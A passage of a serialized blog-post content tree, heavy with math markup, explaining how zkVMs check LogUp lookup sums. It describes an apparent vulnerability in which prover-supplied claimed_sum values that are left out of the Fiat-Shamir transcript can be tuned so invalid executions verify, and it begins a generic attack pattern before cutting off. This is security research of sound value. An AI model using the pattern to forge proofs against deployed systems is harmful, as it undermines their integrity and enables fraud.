,[1587],[111296],{"type":23,"tag":481,"props":111297,"children":111298},{},[],{"type":23,"tag":481,"props":111300,"children":111302},{"className":111301,"style":1675},[1636],[],{"type":23,"tag":481,"props":111304,"children":111306},{"className":111305},[1555],[111307,111311,111404],{"type":23,"tag":481,"props":111308,"children":111310},{"className":111309},[19215,111097],[],{"type":23,"tag":481,"props":111312,"children":111314},{"className":111313},[111102],[111315],{"type":23,"tag":481,"props":111316,"children":111318},{"className":111317},[1577,19140],[111319,111393],{"type":23,"tag":481,"props":111320,"children":111322},{"className":111321},[1582],[111323,111388],{"type":23,"tag":481,"props":111324,"children":111326},{"className":111325,"style":111115},[1587],[111327,111357,111368],{"type":23,"tag":481,"props":111328,"children":111329},{"style":111119},[111330,111334],{"type":23,"tag":481,"props":111331,"children":111333},{"className":111332,"style":109750},[1596],[],{"type":23,"tag":481,"props":111335,"children":111337},{"className":111336},[1602,1603,1604,1605],[111338],{"type":23,"tag":481,"props":111339,"children":111341},{"className":111340},[1555,1605],[111342,111347,111352],{"type":23,"tag":481,"props":111343,"children":111345},{"className":111344,"style":111136},[1555,19086,1605],[111346],{"type":28,"value":111139},{"type":23,"tag":481,"props":111348,"children":111350},{"className":111349},[1642,1605],[111351],{"type":28,"value":1616},{"type":23,"tag":481,"props":111353,"children":111355},{"className":111354},[1555,19086,1605],[111356],{"type":28,"value":739},{"type":23,"tag":481,"props":111358,"children":111359},{"style":111152},[111360,111364],{"type":23,"tag":481,"props":111361,"children":111363},{"className":111362,"style":109750},[1596],[],{"type":23,"tag":481,"props":111365,"children":111367},{"className":111366,"style":111162},[111161],[],{"type":23,"tag":481,"props":111369,"children":111370},{"style":111166},[111371,111375],{"type":23,"tag":481,"props":111372,"children":111374},{"className":111373,"style":109750},[1596],[],{"type":23,"tag":481,"props":111376,"children":111378},{"className":111377},[1602,1603,1604,1605],[111379],{"type":23,"tag":481,"props":111380,"children":111382},{"className":111381},[1555,1605],[111383],{"type":23,"tag":481,"props":111384,"children":111386},{"className":111385},[1555,1605],[111387],{"type":28,"value":1558},{"type":23,"tag":481,"props":111389,"children":111391},{"className":111390},[19243],[111392],{"type":28,"value":19246},{"type":23,"tag":481,"props":111394,"children":111396},{"className":111395},[1582],[111397],{"type":23,"tag":481,"props":111398,"children":111400},{"className":111399,"style":111197},[1587],[111401],{"type":23,"tag":481,"props":111402,"children":111403},{},[],{"type":23,"tag":481,"props":111405,"children":111407},{"className":111406},[19237,111097],[],{"type":23,"tag":24,"props":111409,"children":111410},{},[111411,111413,111438],{"type":28,"value":111412},"for random challenge ",{"type":23,"tag":64,"props":111414,"children":111416},{"className":111415},[1527,1528],[111417],{"type":23,"tag":481,"props":111418,"children":111420},{"className":111419},[1533],[111421],{"type":23,"tag":481,"props":111422,"children":111424},{"className":111423,"ariaHidden":1539},[1538],[111425],{"type":23,"tag":481,"props":111426,"children":111428},{"className":111427},[1544],[111429,111433],{"type":23,"tag":481,"props":111430,"children":111432},{"className":111431,"style":108420},[1549],[],{"type":23,"tag":481,"props":111434,"children":111436},{"className":111435,"style":111136},[1555,19086],[111437],{"type":28,"value":111139},{"type":28,"value":111439},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":24,"props":111441,"children":111442},{},[111443,111448],{"type":23,"tag":2875,"props":111444,"children":111445},{},[111446],{"type":28,"value":111447},"In zkVMs:",{"type":28,"value":111449}," Different components emit and consume lookup tuples:",{"type":23,"tag":14178,"props":111451,"children":111452},{},[111453,111540],{"type":23,"tag":77,"props":111454,"children":111455},{},[111456,111458,111484,111486,111511,111513,111539],{"type":28,"value":111457},"CPU emits: \"I read value ",{"type":23,"tag":64,"props":111459,"children":111461},{"className":111460},[1527,1528],[111462],{"type":23,"tag":481,"props":111463,"children":111465},{"className":111464},[1533],[111466],{"type":23,"tag":481,"props":111467,"children":111469},{"className":111468,"ariaHidden":1539},[1538],[111470],{"type":23,"tag":481,"props":111471,"children":111473},{"className":111472},[1544],[111474,111478],{"type":23,"tag":481,"props":111475,"children":111477},{"className":111476,"style":108420},[1549],[],{"type":23,"tag":481,"props":111479,"children":111481},{"className":111480,"style":91065},[1555,19086],[111482],{"type":28,"value":111483},"v",{"type":28,"value":111485}," from address ",{"type":23,"tag":64,"props":111487,"children":111489},{"className":111488},[1527,1528],[111490],{"type":23,"tag":481,"props":111491,"children":111493},{"className":111492},[1533],[111494],{"type":23,"tag":481,"props":111495,"children":111497},{"className":111496,"ariaHidden":1539},[1538],[111498],{"type":23,"tag":481,"props":111499,"children":111501},{"className":111500},[1544],[111502,111506],{"type":23,"tag":481,"props":111503,"children":111505},{"className":111504,"style":108420},[1549],[],{"type":23,"tag":481,"props":111507,"children":111509},{"className":111508},[1555,19086],[111510],{"type":28,"value":190},{"type":28,"value":111512}," at time ",{"type":23,"tag":64,"props":111514,"children":111516},{"className":111515},[1527,1528],[111517],{"type":23,"tag":481,"props":111518,"children":111520},{"className":111519},[1533],[111521],{"type":23,"tag":481,"props":111522,"children":111524},{"className":111523,"ariaHidden":1539},[1538],[111525],{"type":23,"tag":481,"props":111526,"children":111528},{"className":111527},[1544],[111529,111534],{"type":23,"tag":481,"props":111530,"children":111533},{"className":111531,"style":111532},[1549],"height:0.6151em;",[],{"type":23,"tag":481,"props":111535,"children":111537},{"className":111536},[1555,19086],[111538],{"type":28,"value":19228},{"type":28,"value":17557},{"type":23,"tag":77,"props":111541,"children":111542},{},[111543,111545,111570,111572,111597,111599,111624],{"type":28,"value":111544},"Memory table consumes: \"At time ",{"type":23,"tag":64,"props":111546,"children":111548},{"className":111547},[1527,1528],[111549],{"type":23,"tag":481,"props":111550,"children":111552},{"className":111551},[1533],[111553],{"type":23,"tag":481,"props":111554,"children":111556},{"className":111555,"ariaHidden":1539},[1538],[111557],{"type":23,"tag":481,"props":111558,"children":111560},{"className":111559},[1544],[111561,111565],{"type":23,"tag":481,"props":111562,"children":111564},{"className":111563,"style":111532},[1549],[],{"type":23,"tag":481,"props":111566,"children":111568},{"className":111567},[1555,19086],[111569],{"type":28,"value":19228},{"type":28,"value":111571},", address ",{"type":23,"tag":64,"props":111573,"children":111575},{"className":111574},[1527,1528],[111576],{"type":23,"tag":481,"props":111577,"children":111579},{"className":111578},[1533],[111580],{"type":23,"tag":481,"props":111581,"children":111583},{"className":111582,"ariaHidden":1539},[1538],[111584],{"type":23,"tag":481,"props":111585,"children":111587},{"className":111586},[1544],[111588,111592],{"type":23,"tag":481,"props":111589,"children":111591},{"className":111590,"style":108420},[1549],[],{"type":23,"tag":481,"props":111593,"children":111595},{"className":111594},[1555,19086],[111596],{"type":28,"value":190},{"type":28,"value":111598}," contained ",{"type":23,"tag":64,"props":111600,"children":111602},{"className":111601},[1527,1528],[111603],{"type":23,"tag":481,"props":111604,"children":111606},{"className":111605},[1533],[111607],{"type":23,"tag":481,"props":111608,"children":111610},{"className":111609,"ariaHidden":1539},[1538],[111611],{"type":23,"tag":481,"props":111612,"children":111614},{"className":111613},[1544],[111615,111619],{"type":23,"tag":481,"props":111616,"children":111618},{"className":111617,"style":108420},[1549],[],{"type":23,"tag":481,"props":111620,"children":111622},{"className":111621,"style":91065},[1555,19086],[111623],{"type":28,"value":111483},{"type":28,"value":17557},{"type":23,"tag":24,"props":111626,"children":111627},{},[111628],{"type":28,"value":111629},"If everything balances, the execution is consistent.",{"type":23,"tag":24,"props":111631,"children":111632},{},[111633,111638],{"type":23,"tag":2875,"props":111634,"children":111635},{},[111636],{"type":28,"value":111637},"The claimed_sum:",{"type":28,"value":111639}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":24,"props":111641,"children":111642},{},[111643],{"type":23,"tag":64,"props":111644,"children":111646},{"className":111645},[1527,1528],[111647],{"type":23,"tag":481,"props":111648,"children":111650},{"className":111649},[1533],[111651],{"type":23,"tag":481,"props":111652,"children":111654},{"className":111653,"ariaHidden":1539},[1538],[111655,111753,112004],{"type":23,"tag":481,"props":111656,"children":111658},{"className":111657},[1544],[111659,111663,111673,111678,111740,111744,111749],{"type":23,"tag":481,"props":111660,"children":111662},{"className":111661,"style":91992},[1549],[],{"type":23,"tag":481,"props":111664,"children":111666},{"className":111665},[1555,28],[111667],{"type":23,"tag":481,"props":111668,"children":111670},{"className":111669},[1555],[111671],{"type":28,"value":111672},"claimed",{"type":23,"tag":481,"props":111674,"children":111676},{"className":111675,"style":90579},[1555],[111677],{"type":28,"value":593},{"type":23,"tag":481,"props":111679,"children":111681},{"className":111680},[1555],[111682,111691],{"type":23,"tag":481,"props":111683,"children":111685},{"className":111684},[1555,28],[111686],{"type":23,"tag":481,"props":111687,"children":111689},{"className":111688},[1555],[111690],{"type":28,"value":74164},{"type":23,"tag":481,"props":111692,"children":111694},{"className":111693},[1572],[111695],{"type":23,"tag":481,"props":111696,"children":111698},{"className":111697},[1577,19140],[111699,111729],{"type":23,"tag":481,"props":111700,"children":111702},{"className":111701},[1582],[111703,111724],{"type":23,"tag":481,"props":111704,"children":111706},{"className":111705,"style":91108},[1587],[111707],{"type":23,"tag":481,"props":111708,"children":111710},{"style":111709},"top:-2.55em;margin-right:0.05em;",[111711,111715],{"type":23,"tag":481,"props":111712,"children":111714},{"className":111713,"style":1597},[1596],[],{"type":23,"tag":481,"props":111716,"children":111718},{"className":111717},[1602,1603,1604,1605],[111719],{"type":23,"tag":481,"props":111720,"children":111722},{"className":111721},[1555,19086,1605],[111723],{"type":28,"value":1274},{"type":23,"tag":481,"props":111725,"children":111727},{"className":111726},[19243],[111728],{"type":28,"value":19246},{"type":23,"tag":481,"props":111730,"children":111732},{"className":111731},[1582],[111733],{"type":23,"tag":481,"props":111734,"children":111736},{"className":111735,"style":90662},[1587],[111737],{"type":23,"tag":481,"props":111738,"children":111739},{},[],{"type":23,"tag":481,"props":111741,"children":111743},{"className":111742,"style":1734},[1636],[],{"type":23,"tag":481,"props":111745,"children":111747},{"className":111746},[1739],[111748],{"type":28,"value":603},{"type":23,"tag":481,"props":111750,"children":111752},{"className":111751,"style":1734},[1636],[],{"type":23,"tag":481,"props":111754,"children":111756},{"className":111755},[1544],[111757,111762,111822,111826,111991,111995,112000],{"type":23,"tag":481,"props":111758,"children":111761},{"className":111759,"style":111760},[1549],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":481,"props":111763,"children":111765},{"className":111764},[19122],[111766,111771],{"type":23,"tag":481,"props":111767,"children":111769},{"className":111768,"style":19129},[19122,19127,19128],[111770],{"type":28,"value":106374},{"type":23,"tag":481,"props":111772,"children":111774},{"className":111773},[1572],[111775],{"type":23,"tag":481,"props":111776,"children":111778},{"className":111777},[1577,19140],[111779,111810],{"type":23,"tag":481,"props":111780,"children":111782},{"className":111781},[1582],[111783,111805],{"type":23,"tag":481,"props":111784,"children":111787},{"className":111785,"style":111786},[1587],"height:0.162em;",[111788],{"type":23,"tag":481,"props":111789,"children":111790},{"style":19153},[111791,111795],{"type":23,"tag":481,"props":111792,"children":111794},{"className":111793,"style":1597},[1596],[],{"type":23,"tag":481,"props":111796,"children":111798},{"className":111797},[1602,1603,1604,1605],[111799],{"type":23,"tag":481,"props":111800,"children":111803},{"className":111801,"style":111802},[1555,19086,1605],"margin-right:0.05724em;",[111804],{"type":28,"value":6136},{"type":23,"tag":481,"props":111806,"children":111808},{"className":111807},[19243],[111809],{"type":28,"value":19246},{"type":23,"tag":481,"props":111811,"children":111813},{"className":111812},[1582],[111814],{"type":23,"tag":481,"props":111815,"children":111818},{"className":111816,"style":111817},[1587],"height:0.4358em;",[111819],{"type":23,"tag":481,"props":111820,"children":111821},{},[],{"type":23,"tag":481,"props":111823,"children":111825},{"className":111824,"style":1675},[1636],[],{"type":23,"tag":481,"props":111827,"children":111829},{"className":111828},[1555],[111830,111834,111987],{"type":23,"tag":481,"props":111831,"children":111833},{"className":111832},[19215,111097],[],{"type":23,"tag":481,"props":111835,"children":111837},{"className":111836},[111102],[111838],{"type":23,"tag":481,"props":111839,"children":111841},{"className":111840},[1577,19140],[111842,111975],{"type":23,"tag":481,"props":111843,"children":111845},{"className":111844},[1582],[111846,111970],{"type":23,"tag":481,"props":111847,"children":111849},{"className":111848,"style":111115},[1587],[111850,111939,111950],{"type":23,"tag":481,"props":111851,"children":111852},{"style":111119},[111853,111857],{"type":23,"tag":481,"props":111854,"children":111856},{"className":111855,"style":109750},[1596],[],{"type":23,"tag":481,"props":111858,"children":111860},{"className":111859},[1602,1603,1604,1605],[111861],{"type":23,"tag":481,"props":111862,"children":111864},{"className":111863},[1555,1605],[111865,111870,111875],{"type":23,"tag":481,"props":111866,"children":111868},{"className":111867,"style":111136},[1555,19086,1605],[111869],{"type":28,"value":111139},{"type":23,"tag":481,"props":111871,"children":111873},{"className":111872},[1642,1605],[111874],{"type":28,"value":1616},{"type":23,"tag":481,"props":111876,"children":111878},{"className":111877},[1555,1605],[111879,111888],{"type":23,"tag":481,"props":111880,"children":111882},{"className":111881},[1555,28,1605],[111883],{"type":23,"tag":481,"props":111884,"children":111886},{"className":111885},[1555,1605],[111887],{"type":28,"value":59536},{"type":23,"tag":481,"props":111889,"children":111891},{"className":111890},[1572],[111892],{"type":23,"tag":481,"props":111893,"children":111895},{"className":111894},[1577,19140],[111896,111927],{"type":23,"tag":481,"props":111897,"children":111899},{"className":111898},[1582],[111900,111922],{"type":23,"tag":481,"props":111901,"children":111904},{"className":111902,"style":111903},[1587],"height:0.3281em;",[111905],{"type":23,"tag":481,"props":111906,"children":111908},{"style":111907},"top:-2.357em;margin-right:0.0714em;",[111909,111913],{"type":23,"tag":481,"props":111910,"children":111912},{"className":111911,"style":106439},[1596],[],{"type":23,"tag":481,"props":111914,"children":111916},{"className":111915},[1602,106444,106445,1605],[111917],{"type":23,"tag":481,"props":111918,"children":111920},{"className":111919,"style":111802},[1555,19086,1605],[111921],{"type":28,"value":6136},{"type":23,"tag":481,"props":111923,"children":111925},{"className":111924},[19243],[111926],{"type":28,"value":19246},{"type":23,"tag":481,"props":111928,"children":111930},{"className":111929},[1582],[111931],{"type":23,"tag":481,"props":111932,"children":111935},{"className":111933,"style":111934},[1587],"height:0.2819em;",[111936],{"type":23,"tag":481,"props":111937,"children":111938},{},[],{"type":23,"tag":481,"props":111940,"children":111941},{"style":111152},[111942,111946],{"type":23,"tag":481,"props":111943,"children":111945},{"className":111944,"style":109750},[1596],[],{"type":23,"tag":481,"props":111947,"children":111949},{"className":111948,"style":111162},[111161],[],{"type":23,"tag":481,"props":111951,"children":111952},{"style":111166},[111953,111957],{"type":23,"tag":481,"props":111954,"children":111956},{"className":111955,"style":109750},[1596],[],{"type":23,"tag":481,"props":111958,"children":111960},{"className":111959},[1602,1603,1604,1605],[111961],{"type":23,"tag":481,"props":111962,"children":111964},{"className":111963},[1555,1605],[111965],{"type":23,"tag":481,"props":111966,"children":111968},{"className":111967},[1555,1605],[111969],{"type":28,"value":1558},{"type":23,"tag":481,"props":111971,"children":111973},{"className":111972},[19243],[111974],{"type":28,"value":19246},{"type":23,"tag":481,"props":111976,"children":111978},{"className":111977},[1582],[111979],{"type":23,"tag":481,"props":111980,"children":111983},{"className":111981,"style":111982},[1587],"height:0.5423em;",[111984],{"type":23,"tag":481,"props":111985,"children":111986},{},[],{"type":23,"tag":481,"props":111988,"children":111990},{"className":111989},[19237,111097],[],{"type":23,"tag":481,"props":111992,"children":111994},{"className":111993,"style":1637},[1636],[],{"type":23,"tag":481,"props":111996,"children":111998},{"className":111997},[1642],[111999],{"type":28,"value":1616},{"type":23,"tag":481,"props":112001,"children":112003},{"className":112002,"style":1637},[1636],[],{"type":23,"tag":481,"props":112005,"children":112007},{"className":112006},[1544],[112008,112013,112071,112075],{"type":23,"tag":481,"props":112009,"children":112012},{"className":112010,"style":112011},[1549],"height:1.296em;vertical-align:-0.4509em;",[],{"type":23,"tag":481,"props":112014,"children":112016},{"className":112015},[19122],[112017,112022],{"type":23,"tag":481,"props":112018,"children":112020},{"className":112019,"style":19129},[19122,19127,19128],[112021],{"type":28,"value":106374},{"type":23,"tag":481,"props":112023,"children":112025},{"className":112024},[1572],[112026],{"type":23,"tag":481,"props":112027,"children":112029},{"className":112028},[1577,19140],[112030,112059],{"type":23,"tag":481,"props":112031,"children":112033},{"className":112032},[1582],[112034,112054],{"type":23,"tag":481,"props":112035,"children":112037},{"className":112036,"style":111251},[1587],[112038],{"type":23,"tag":481,"props":112039,"children":112040},{"style":19153},[112041,112045],{"type":23,"tag":481,"props":112042,"children":112044},{"className":112043,"style":1597},[1596],[],{"type":23,"tag":481,"props":112046,"children":112048},{"className":112047},[1602,1603,1604,1605],[112049],{"type":23,"tag":481,"props":112050,"children":112052},{"className":112051,"style":92008},[1555,19086,1605],[112053],{"type":28,"value":86216},{"type":23,"tag":481,"props":112055,"children":112057},{"className":112056},[19243],[112058],{"type":28,"value":19246},{"type":23,"tag":481,"props":112060,"children":112062},{"className":112061},[1582],[112063],{"type":23,"tag":481,"props":112064,"children":112067},{"className":112065,"style":112066},[1587],"height:0.2997em;",[112068],{"type":23,"tag":481,"props":112069,"children":112070},{},[],{"type":23,"tag":481,"props":112072,"children":112074},{"className":112073,"style":1675},[1636],[],{"type":23,"tag":481,"props":112076,"children":112078},{"className":112077},[1555],[112079,112083,112236],{"type":23,"tag":481,"props":112080,"children":112082},{"className":112081},[19215,111097],[],{"type":23,"tag":481,"props":112084,"children":112086},{"className":112085},[111102],[112087],{"type":23,"tag":481,"props":112088,"children":112090},{"className":112089},[1577,19140],[112091,112224],{"type":23,"tag":481,"props":112092,"children":112094},{"className":112093},[1582],[112095,112219],{"type":23,"tag":481,"props":112096,"children":112098},{"className":112097,"style":111115},[1587],[112099,112188,112199],{"type":23,"tag":481,"props":112100,"children":112101},{"style":111119},[112102,112106],{"type":23,"tag":481,"props":112103,"children":112105},{"className":112104,"style":109750},[1596],[],{"type":23,"tag":481,"props":112107,"children":112109},{"className":112108},[1602,1603,1604,1605],[112110],{"type":23,"tag":481,"props":112111,"children":112113},{"className":112112},[1555,1605],[112114,112119,112124],{"type":23,"tag":481,"props":112115,"children":112117},{"className":112116,"style":111136},[1555,19086,1605],[112118],{"type":28,"value":111139},{"type":23,"tag":481,"props":112120,"children":112122},{"className":112121},[1642,1605],[112123],{"type":28,"value":1616},{"type":23,"tag":481,"props":112125,"children":112127},{"className":112126},[1555,1605],[112128,112138],{"type":23,"tag":481,"props":112129,"children":112131},{"className":112130},[1555,28,1605],[112132],{"type":23,"tag":481,"props":112133,"children":112135},{"className":112134},[1555,1605],[112136],{"type":28,"value":112137},"consume",{"type":23,"tag":481,"props":112139,"children":112141},{"className":112140},[1572],[112142],{"type":23,"tag":481,"props":112143,"children":112145},{"className":112144},[1577,19140],[112146,112176],{"type":23,"tag":481,"props":112147,"children":112149},{"className":112148},[1582],[112150,112171],{"type":23,"tag":481,"props":112151,"children":112153},{"className":112152,"style":109911},[1587],[112154],{"type":23,"tag":481,"props":112155,"children":112157},{"style":112156},"top:-2.3488em;margin-right:0.0714em;",[112158,112162],{"type":23,"tag":481,"props":112159,"children":112161},{"className":112160,"style":106439},[1596],[],{"type":23,"tag":481,"props":112163,"children":112165},{"className":112164},[1602,106444,106445,1605],[112166],{"type":23,"tag":481,"props":112167,"children":112169},{"className":112168,"style":92008},[1555,19086,1605],[112170],{"type":28,"value":86216},{"type":23,"tag":481,"props":112172,"children":112174},{"className":112173},[19243],[112175],{"type":28,"value":19246},{"type":23,"tag":481,"props":112177,"children":112179},{"className":112178},[1582],[112180],{"type":23,"tag":481,"props":112181,"children":112184},{"className":112182,"style":112183},[1587],"height:0.1512em;",[112185],{"type":23,"tag":481,"props":112186,"children":112187},{},[],{"type":23,"tag":481,"props":112189,"children":112190},{"style":111152},[112191,112195],{"type":23,"tag":481,"props":112192,"children":112194},{"className":112193,"style":109750},[1596],[],{"type":23,"tag":481,"props":112196,"children":112198},{"className":112197,"style":111162},[111161],[],{"type":23,"tag":481,"props":112200,"children":112201},{"style":111166},[112202,112206],{"type":23,"tag":481,"props":112203,"children":112205},{"className":112204,"style":109750},[1596],[],{"type":23,"tag":481,"props":112207,"children":112209},{"className":112208},[1602,1603,1604,1605],[112210],{"type":23,"tag":481,"props":112211,"children":112213},{"className":112212},[1555,1605],[112214],{"type":23,"tag":481,"props":112215,"children":112217},{"className":112216},[1555,1605],[112218],{"type":28,"value":1558},{"type":23,"tag":481,"props":112220,"children":112222},{"className":112221},[19243],[112223],{"type":28,"value":19246},{"type":23,"tag":481,"props":112225,"children":112227},{"className":112226},[1582],[112228],{"type":23,"tag":481,"props":112229,"children":112232},{"className":112230,"style":112231},[1587],"height:0.4509em;",[112233],{"type":23,"tag":481,"props":112234,"children":112235},{},[],{"type":23,"tag":481,"props":112237,"children":112239},{"className":112238},[19237,111097],[],{"type":23,"tag":24,"props":112241,"children":112242},{},[112243,112245,112427],{"type":28,"value":112244},"The global check: ",{"type":23,"tag":64,"props":112246,"children":112248},{"className":112247},[1527,1528],[112249],{"type":23,"tag":481,"props":112250,"children":112252},{"className":112251},[1533],[112253],{"type":23,"tag":481,"props":112254,"children":112256},{"className":112255,"ariaHidden":1539},[1538],[112257,112414],{"type":23,"tag":481,"props":112258,"children":112260},{"className":112259},[1544],[112261,112265,112322,112326,112335,112340,112401,112405,112410],{"type":23,"tag":481,"props":112262,"children":112264},{"className":112263,"style":90521},[1549],[],{"type":23,"tag":481,"props":112266,"children":112268},{"className":112267},[19122],[112269,112274],{"type":23,"tag":481,"props":112270,"children":112272},{"className":112271,"style":19129},[19122,19127,19128],[112273],{"type":28,"value":106374},{"type":23,"tag":481,"props":112275,"children":112277},{"className":112276},[1572],[112278],{"type":23,"tag":481,"props":112279,"children":112281},{"className":112280},[1577,19140],[112282,112311],{"type":23,"tag":481,"props":112283,"children":112285},{"className":112284},[1582],[112286,112306],{"type":23,"tag":481,"props":112287,"children":112289},{"className":112288,"style":111786},[1587],[112290],{"type":23,"tag":481,"props":112291,"children":112292},{"style":19153},[112293,112297],{"type":23,"tag":481,"props":112294,"children":112296},{"className":112295,"style":1597},[1596],[],{"type":23,"tag":481,"props":112298,"children":112300},{"className":112299},[1602,1603,1604,1605],[112301],{"type":23,"tag":481,"props":112302,"children":112304},{"className":112303},[1555,19086,1605],[112305],{"type":28,"value":1274},{"type":23,"tag":481,"props":112307,"children":112309},{"className":112308},[19243],[112310],{"type":28,"value":19246},{"type":23,"tag":481,"props":112312,"children":112314},{"className":112313},[1582],[112315],{"type":23,"tag":481,"props":112316,"children":112318},{"className":112317,"style":112066},[1587],[112319],{"type":23,"tag":481,"props":112320,"children":112321},{},[],{"type":23,"tag":481,"props":112323,"children":112325},{"className":112324,"style":1675},[1636],[],{"type":23,"tag":481,"props":112327,"children":112329},{"className":112328},[1555,28],[112330],{"type":23,"tag":481,"props":112331,"children":112333},{"className":112332},[1555],[112334],{"type":28,"value":111672},{"type":23,"tag":481,"props":112336,"children":112338},{"className":112337,"style":90579},[1555],[112339],{"type":28,"value":593},{"type":23,"tag":481,"props":112341,"children":112343},{"className":112342},[1555],[112344,112353],{"type":23,"tag":481,"props":112345,"children":112347},{"className":112346},[1555,28],[112348],{"type":23,"tag":481,"props":112349,"children":112351},{"className":112350},[1555],[112352],{"type":28,"value":74164},{"type":23,"tag":481,"props":112354,"children":112356},{"className":112355},[1572],[112357],{"type":23,"tag":481,"props":112358,"children":112360},{"className":112359},[1577,19140],[112361,112390],{"type":23,"tag":481,"props":112362,"children":112364},{"className":112363},[1582],[112365,112385],{"type":23,"tag":481,"props":112366,"children":112368},{"className":112367,"style":91108},[1587],[112369],{"type":23,"tag":481,"props":112370,"children":112371},{"style":111709},[112372,112376],{"type":23,"tag":481,"props":112373,"children":112375},{"className":112374,"style":1597},[1596],[],{"type":23,"tag":481,"props":112377,"children":112379},{"className":112378},[1602,1603,1604,1605],[112380],{"type":23,"tag":481,"props":112381,"children":112383},{"className":112382},[1555,19086,1605],[112384],{"type":28,"value":1274},{"type":23,"tag":481,"props":112386,"children":112388},{"className":112387},[19243],[112389],{"type":28,"value":19246},{"type":23,"tag":481,"props":112391,"children":112393},{"className":112392},[1582],[112394],{"type":23,"tag":481,"props":112395,"children":112397},{"className":112396,"style":90662},[1587],[112398],{"type":23,"tag":481,"props":112399,"children":112400},{},[],{"type":23,"tag":481,"props":112402,"children":112404},{"className":112403,"style":1734},[1636],[],{"type":23,"tag":481,"props":112406,"children":112408},{"className":112407},[1739],[112409],{"type":28,"value":603},{"type":23,"tag":481,"props":112411,"children":112413},{"className":112412,"style":1734},[1636],[],{"type":23,"tag":481,"props":112415,"children":112417},{"className":112416},[1544],[112418,112422],{"type":23,"tag":481,"props":112419,"children":112421},{"className":112420,"style":91610},[1549],[],{"type":23,"tag":481,"props":112423,"children":112425},{"className":112424},[1555],[112426],{"type":28,"value":1568},{"type":28,"value":199},{"type":23,"tag":24,"props":112429,"children":112430},{},[112431,112436,112438,112444],{"type":23,"tag":2875,"props":112432,"children":112433},{},[112434],{"type":28,"value":112435},"Why this is vulnerable:",{"type":28,"value":112437}," The ",{"type":23,"tag":64,"props":112439,"children":112441},{"className":112440},[],[112442],{"type":28,"value":112443},"claimed_sum",{"type":28,"value":112445}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":23,"tag":16288,"props":112447,"children":112448},{},[],{"type":23,"tag":31,"props":112450,"children":112452},{"id":112451},"the-universal-attack-pattern",[112453],{"type":28,"value":112454},"The Universal Attack Pattern",{"type":23,"tag":24,"props":112456,"children":112457},{},[112458],{"type":28,"value":112459},"Now we can describe the attack pattern that works on all six systems:",{"type":23,"tag":24,"props":112461,"children":112462},{},[112463],{"type":23,"tag":149,"props":112464,"children":112467},{"alt":112465,"src":112466},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":23,"tag":24,"props":112469,"children":112470},{},[112471,112473,112498],{"type":28,"value":112472},"When a value ",{"type":23,"tag":64,"props":112474,"children":112476},{"className":112475},[1527,1528],[112477],{"type":23,"tag":481,"props":112478,"children":112480},{"className":112479},[1533],[112481],{"type":23,"tag":481,"props":112482,"children":112484},{"className":112483,"ariaHidden":1539},[1538],[112485],{"type":23,"tag":481,"props":112486,"children":112488},{"className":112487},[1544],[112489,112493],{"type":23,"tag":481,"props":112490,"children":112492},{"className":112491,"style":19081},[1549],[],{"type":23,"tag":481,"props":112494,"children":112496},{"className":112495,"style":105777},[1555,19086],[112497],{"type":28,"value":106101},{"type":28,"value":112499}," isn't transcript-bound:",{"type":23,"tag":73,"props":112501,"children":112502},{},[112503,112534,112611,112756],{"type":23,"tag":77,"props":112504,"children":112505},{},[112506,112508,112533],{"type":28,"value":112507},"Challenges are fixed (independent of ",{"type":23,"tag":64,"props":112509,"children":112511},{"className":112510},[1527,1528],[112512],{"type":23,"tag":481,"props":112513,"children":112515},{"className":112514},[1533],[112516],{"type":23,"tag":481,"props":112517,"children":112519},{"className":112518,"ariaHidden":1539},[1538],[112520],{"type":23,"tag":481,"props":112521,"children":112523},{"className":112522},[1544],[112524,112528],{"type":23,"tag":481,"props":112525,"children":112527},{"className":112526,"style":19081},[1549],[],{"type":23,"tag":481,"props":112529,"children":112531},{"className":112530,"style":105777},[1555,19086],[112532],{"type":28,"value":106101},{"type":28,"value":642},{"type":23,"tag":77,"props":112535,"children":112536},{},[112537,112539],{"type":28,"value":112538},"The verification equation has form: ",{"type":23,"tag":64,"props":112540,"children":112542},{"className":112541},[1527,1528],[112543],{"type":23,"tag":481,"props":112544,"children":112546},{"className":112545},[1533],[112547],{"type":23,"tag":481,"props":112548,"children":112550},{"className":112549,"ariaHidden":1539},[1538],[112551,112592],{"type":23,"tag":481,"props":112552,"children":112554},{"className":112553},[1544],[112555,112559,112564,112569,112574,112579,112583,112588],{"type":23,"tag":481,"props":112556,"children":112558},{"className":112557,"style":1657},[1549],[],{"type":23,"tag":481,"props":112560,"children":112562},{"className":112561,"style":92933},[1555,19086],[112563],{"type":28,"value":30601},{"type":23,"tag":481,"props":112565,"children":112567},{"className":112566},[19215],[112568],{"type":28,"value":618},{"type":23,"tag":481,"props":112570,"children":112572},{"className":112571,"style":105777},[1555,19086],[112573],{"type":28,"value":106101},{"type":23,"tag":481,"props":112575,"children":112577},{"className":112576},[19237],[112578],{"type":28,"value":642},{"type":23,"tag":481,"props":112580,"children":112582},{"className":112581,"style":1734},[1636],[],{"type":23,"tag":481,"props":112584,"children":112586},{"className":112585},[1739],[112587],{"type":28,"value":603},{"type":23,"tag":481,"props":112589,"children":112591},{"className":112590,"style":1734},[1636],[],{"type":23,"tag":481,"props":112593,"children":112595},{"className":112594},[1544],[112596,112601],{"type":23,"tag":481,"props":112597,"children":112600},{"className":112598,"style":112599},[1549],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":23,"tag":481,"props":112602,"children":112604},{"className":112603},[1555,28],[112605],{"type":23,"tag":481,"props":112606,"children":112608},{"className":112607},[1555],[112609],{"type":28,"value":112610},"target",{"type":23,"tag":77,"props":112612,"children":112613},{},[112614,112615,112641,112643],{"type":28,"value":4958},{"type":23,"tag":64,"props":112616,"children":112618},{"className":112617},[1527,1528],[112619],{"type":23,"tag":481,"props":112620,"children":112622},{"className":112621},[1533],[112623],{"type":23,"tag":481,"props":112624,"children":112626},{"className":112625,"ariaHidden":1539},[1538],[112627],{"type":23,"tag":481,"props":112628,"children":112630},{"className":112629},[1544],[112631,112636],{"type":23,"tag":481,"props":112632,"children":112635},{"className":112633,"style":112634},[1549],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":23,"tag":481,"props":112637,"children":112639},{"className":112638,"style":92933},[1555,19086],[112640],{"type":28,"value":30601},{"type":28,"value":112642}," is linear: 